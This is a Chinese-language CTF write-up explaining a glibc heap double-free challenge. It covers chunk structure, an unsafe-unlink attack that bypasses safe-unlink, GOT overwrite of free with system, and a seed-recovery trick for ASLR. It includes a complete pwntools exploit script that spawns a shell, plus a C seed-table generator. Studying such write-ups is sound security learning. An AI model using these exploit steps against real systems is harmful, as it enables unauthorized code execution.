前言第一次做Linux的漏洞利用,最后搞到凌晨4点终于弄好了。。。现在做下笔记吧,我尽量写的详细点,是给自己看的也是给其他没玩过Linux漏洞利用的新手看的,大神可以绕道了,哈哈 首先这是一道double free的题目,顾名思义,就是把一个malloc出来的内存释放两次,在这之前我先简单介绍一下linux的堆管理机制。。。这方面的资料比较全,所以我这边不会说的很详细,只会说这道题需要用到的部分,,,https://bbs.pediy.com/thread-218313.htm http://www.freebuf.com/articles/system/91527.html http://www.cnblogs.com/alisecurity/p/5486458.html 这些资料都是不错的。。。
基础知识但这道题,就记住以下几点:
linux中,有一个或多个内存segment作为堆使用,这点与windows一样
这些segment会有某种数据结构(bins),用于表示当前堆的分配状态,即,哪个区域的内存是chunk1,哪个是chunk2(chunk可以把它理解成malloc出来的那片内存)
堆的管理由操作系统完成(当蓝啦
那么这个数据结构是什么样的呢,很复杂,我这里不可能全部讲清楚,做这道题只要记住这几点:
被释放的堆块(chunk),会被维护在某个链表中,如果是比较小的chunk(16bytes-64bytes),就是某个单项链表,比较大的,就是双向链表
正在使用的chunk,不会在这个链表中,所以,当malloc的时候,chunk会从链表中被卸下,然后把指向数据块的指针返回给程序
释放chunk时,如果发现前一个chunk(内存上相邻的前一个,不是链表中的前一个)也是被释放的状态,那么操作系统就会把前面那个chunk卸下来(这里就是利用漏洞的点!!!),然后把要被释放的chunk和它前面的chunk合并成一个大chunk,并插入链表(注意,这一条并不是对于所有chunk都适用的,比较小的16-64bytes的就不会这么拼,但是我在这道题里申请的都是比较大的chunk)
好的,现在来看看chunk的数据结构长啥样。。。
struct malloc_chunk {
/* #define INTERNAL_SIZE_T size_t */
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. 这两个指针只在free chunk中存在*/
struct malloc_chunk* bk;
//如果chunk是被释放状态,那么这里就啥都没有,是一片未被使用的内存
//如果是使用状态,那么这里跟着前面的fd,bk,都是用户数据块
//本来这里还有两个指针的,但是是只对large block有用的,我们这里用不上,我们申请的只是中等大小的chunk,所以不写。。。
};
prev size是内存位置 上,前一块内存的大小,如果前一块内存是被释放状态的话(如果不是,这个8字节貌似就是属于前一块chunk的用户数据部分)
size是自己这个chunk的大小,包括上面的4个成员变量的32字节以及后面未被使用的内存,但是因为始终要8字节对齐,所有后三位始终是0,浪费这三位不好,所有就在这里弄了3个flag,其中两个不讲,但是最低位(0bit)是代表前一个 的chunk是否正在被使用,如果是,那就是1,不是,就是0。 那么为什么他要这么做?自己的chunk里面不放自己是否被使用放别人是否被使用干嘛???还记不记得在前面我说过的合并操作,释放一个chunk时需要知道前面一个chunk是否被使用,如果没有就要合并,我们通过记录上一个chunk是否被使用,可以判断是否需要进行合并操作。如果只记录自己的,我怎么知道前面一个chunk是不是正在被使用的?prev_size是只在前一个free的时候才用的喔,如果前一个正在被使用这个字段是用户数据,没法定位到上一个chunk的开始位置,所以就没法知道上一个chunk的使用情况。但是记录前一个的使用情况呢,既可以知道前一个的使用情况,也可以通过size字段定位到下一个chunk获取自身的使用情况,efficiency比记录自己的使用情况不知道高到哪里去了。。。 扯远了,继续说fd和bk,这两个字段就很明了了,就是双向链表的前一个和后一个,(如果是单向链表就只会用其中一个但是这里我们不考虑。。),注意这个fd是链表上的前一个,而不是内存上的前一个,所以prev_size跟fd指向的东西八杆子打不着关系。。。
解题好的,回到这一题,拿到这一题,随便手工fuzz一下,比方说在回显的地方%d一下啊(格式化字符串),输入超长字符串啊(缓冲区溢出),">\ 啊(走错片场的xss(误)),之类的。。。最后发现delete box两次的时候,会爆出异常,很容易想到就是double free。。。 现在我们来构造几个box:
get small size:256
get normal size:272
free small
free normal
get big size:544 注意,此时big box的堆内存地址与small box(已被释放)的起始地址相同!因为256+16(prev_size与size)+272=544,按照顺序释放small和normal之后,这两个chunk会被合并,大小刚好是544+16(这个16是这个chunk的prev_size和size,但是用户可使用内存就是544,所以申请544会返回这个chunk),具体可以看这位大神的文章https://bbs.pediy.com/thread-218395.htm,我懒得画图了(逃 这个时候,normal的所有数据,我们都已经可以操控了,包括prev_size和size,我们再free normal的话,从这个chunk中所获取到的信息都是我们可以伪造的!
这个时候,假如我们伪造一个prev_size,并把size的0bit设为0表示前一个chunk是空闲的,并且在前面再伪造一个chunk并伪造其prev_size和size,就可以让操作系统合并这两个chunk,其间会把前面那个我们伪造的chunk卸下来先,这就会造成unlink的漏洞利用!造成经典的DWORD SHOOT! 但是,如果我们要unlink p,safe unlink会先检查p->fd->bk == p && p->bk->fd == p,这就比较麻烦了。但是还是有可乘之机!我们假如在内存中找到一个p_addr地址,使得其中内容是指向p的指针,那么让fd为p_addr-0x18,bk为p_addr-0x10,就可以执行unlink,unlink后使得p_addr的值为p_addr-0x18
那么,哪里有这么一个符合我们条件的p_addr呢?我们IDA打开这个程序,发现box的指针都是全局变量!那么就了然了,我们让p_addr为存放big box的地址,就可以完美地绕过safe unlink!这个时候,big box的指针不再指向堆,而是全局变量——little box的指针的地址,此时如果我们再edit big box,便可以影响所有box的指针。 影响了有什么用?首先我们改变box指针后edit可以实现任意写内存,而show msg in box可以实现任意读内存,而且,我们的目标是执行system("/bin/sh")
所以exploit的步骤:
get little box with size 0x20
leave message "/bin/sh" in little box
get_box(2, 0x100) #get small box get_box(3, 0x110) # get normal box free_box(2) #free small box free_box(3) #free normal box get_box(4, 0x220) # get big box,现在big box会和small box有同样的初始地址,如前面所说
leave the payload into box 4(big box)
double free normal box, 现在big box的指针指向little box的指针的地址
show message big box,获取"/bin/sh"的地址
leave message to big box: bin_sh_addr + '\x00\x00' + p64(p_addr+ displ_to_free) + bin_sh_addr + '\x00\x00' little box small box normal box 此时p_addr+ displ_to_free是free的GOT表地址,这是个啥呢?其实就类似于windows下的IAT表,里面的内容是free函数的函数指针。我们这样就可以读取small box的内容,从而获取free函数的地址,我们要他干嘛?因为libc有ASLR,我们需要先获取free地址,然后才能计算出system的地址。
show message in small box, 计算system地址
leave message in small box,把free替换成system 10. delete normal box,这时free已经是system了,所以free(normal_box)实际上是system(normal_box),而normal box中实际上是"/bin/sh"(如步骤7),所以system("/bin/sh"),get shell!
还有,这个./club也是有ASLR的,所以p_addr的地址不能直接得到,我们逆向一下这个程序的话,发现猜随机数可以获得seed地址,从而可以计算出p_addr。 这个随机数就比较简单了,第一次我们猜错,他会告诉我们第一次的随机数rand()的值,拿这个可以逆推出seed,因为seed是seed的地址取低32位,会有低12位是固定的,所以很容易穷举出来,我是弄了个json。。
import json
import os
from pwn import *
from subprocess import Popen, PIPE
g_local = True
if g_local:
sh=process("./club")
#raw_input("ida has attch? Press any key for continue...")
else:
sh=remote("123.206.22.95",8888)
def getPrevNum(str):
i = 0
while (i < len(str)):
if (str[i] < '0' or str[i] > '9'):#not digit
break
i = i + 1
return str[0:i]
def get_seed(first_rand):
f = open("rand_to_seed.json")
to_seed = json.load(f)
seed = to_seed[first_rand]
return seed
def get_scd_rand_from_seed(seed):
pipe = os.popen( "./get_scd_rand " + str(seed))
scd_rand = pipe.read()
pipe.close()
return int(scd_rand)
def get_scd_rand(first_rand):
return get_scd_rand_from_seed(get_seed(str(first_rand)))
def six_ops():
#pre: init state, post: ops input
global sh
sh.recvuntil("6) exit\n> ")
def get_base_addr():
#pre: in ops input, post: next ops input
#return secret number that is the addr of seed
global sh
sh.send("5")#gess number
sh.recvuntil("> ")
sh.send("1")#arbitrary number
sh.recvuntil("The number is ")
fst_rand = int(getPrevNum(sh.recv()))
print fst_rand
sh.send("5")#gess number
sh.recvuntil("> ")
sh.send(str(get_scd_rand(fst_rand)))
sh.recvuntil("You get a secret: ")
secret = int(getPrevNum(sh.recv()))
return secret
def get_box(which_box, iSize):
#pre: in ops input, post: next ops input
global sh
sh.send("1")#get a box
sh.recvuntil("5) huge\n> ")
sh.send(str(which_box))
sh.recvuntil("Input the size you want to get:\n> ")
sh.send(str(iSize))
sh.recvuntil("6) exit\n> ")
def free_box(which_box):
#pre: in ops input, post: next ops input
global sh
sh.send("2")#destroy a box
sh.recvuntil("5) huge\n> ")
sh.send(str(which_box))
print sh.recvuntil("6) exit\n> ")
def leave_msg(which_box, msg):
sh.send("3")#leave msg in a box
sh.recvuntil("5) huge\n> ")
#print which_box
sh.send(str(which_box))
sh.send(msg + '\n')
sh.recvuntil("6) exit\n> ")
def show_msg(which_box):
sh.send("4")#show msg in the box
sh.recvuntil("5) huge\n> ")
sh.send(str(which_box))
ret = sh.recvuntil("6) exit\n> ")
endIdx = ret.find("You have 6 operation") - 1
return ret[0:endIdx]
seed_to_p_addr = -40
displ_to_free = -0x108
free_off = 0x00000000000844f0
system_off = 0x0000000000045390
six_ops()
seed_addr = get_base_addr()
get_box(1, 0x20)
leave_msg(1, "/bin/sh\x00")
get_box(2, 0x100)
get_box(3, 0x110)
free_box(2)
free_box(3)
get_box(4, 0x220)
p_addr = seed_addr + seed_to_p_addr
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100)
leave_msg(4, payload)
free_box(3)#double free
print "after double free, now box 4 pointer has changed and point to p_addr-0x18(box 1)"
bin_sh_addr = show_msg(4)
payload_leak = bin_sh_addr + '\x00\x00' + p64(p_addr+ displ_to_free) + bin_sh_addr + '\x00\x00' #+ bin_sh_addr + '\x00\x00'#p64(p_addr-0x18+displ_to_free+0x10)
leave_msg(4, payload_leak)
free_addr = show_msg(2)
ufree_addr = u64(free_addr + "\x00\x00")
print hex(ufree_addr - free_off + system_off)
leave_msg(2, p64(ufree_addr - free_off + system_off))
sh.send("2")#destroy a box
sh.recvuntil("5) huge\n> ")
sh.send(str("3"))
#leave_msg(4, num_of_As * 'A')
#print show_msg(4).split()
print "succeed"
sh.interactive()
#small 256
#normal 272
#free them
#big 544
#free normal again
#include <stdlib.h>
#include <stdio.h>
#define SEED_OFF 0x202148
void proc_srand(unsigned int i)
{
srand((unsigned int)(i + SEED_OFF));
printf("\"%d\":%u,", rand(), (unsigned int)(i + SEED_OFF));
}
int main()
{
//system("/bin/sh");
printf("{");
unsigned int i;
for (i = 0x00000000; i < 0xffffe000; i += 0x1000)
{
proc_srand(i);
/*if (i + SEED_OFF == 0x75b4148)
getchar();*/
}
proc_srand(i);
i += 0x1000;
srand((unsigned int)(i + SEED_OFF));
printf("\"%d\":%u}", rand(), (unsigned int)(i + SEED_OFF));
}
/*
0x000055dd139ce000
0x000055ce8c5e3000
0x000055aaadb17000
0x00005610214b0000
0x0000558f744b5000
0x000056038011e000
0x0000564d46904000
0x0000556e073b2000
*/
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)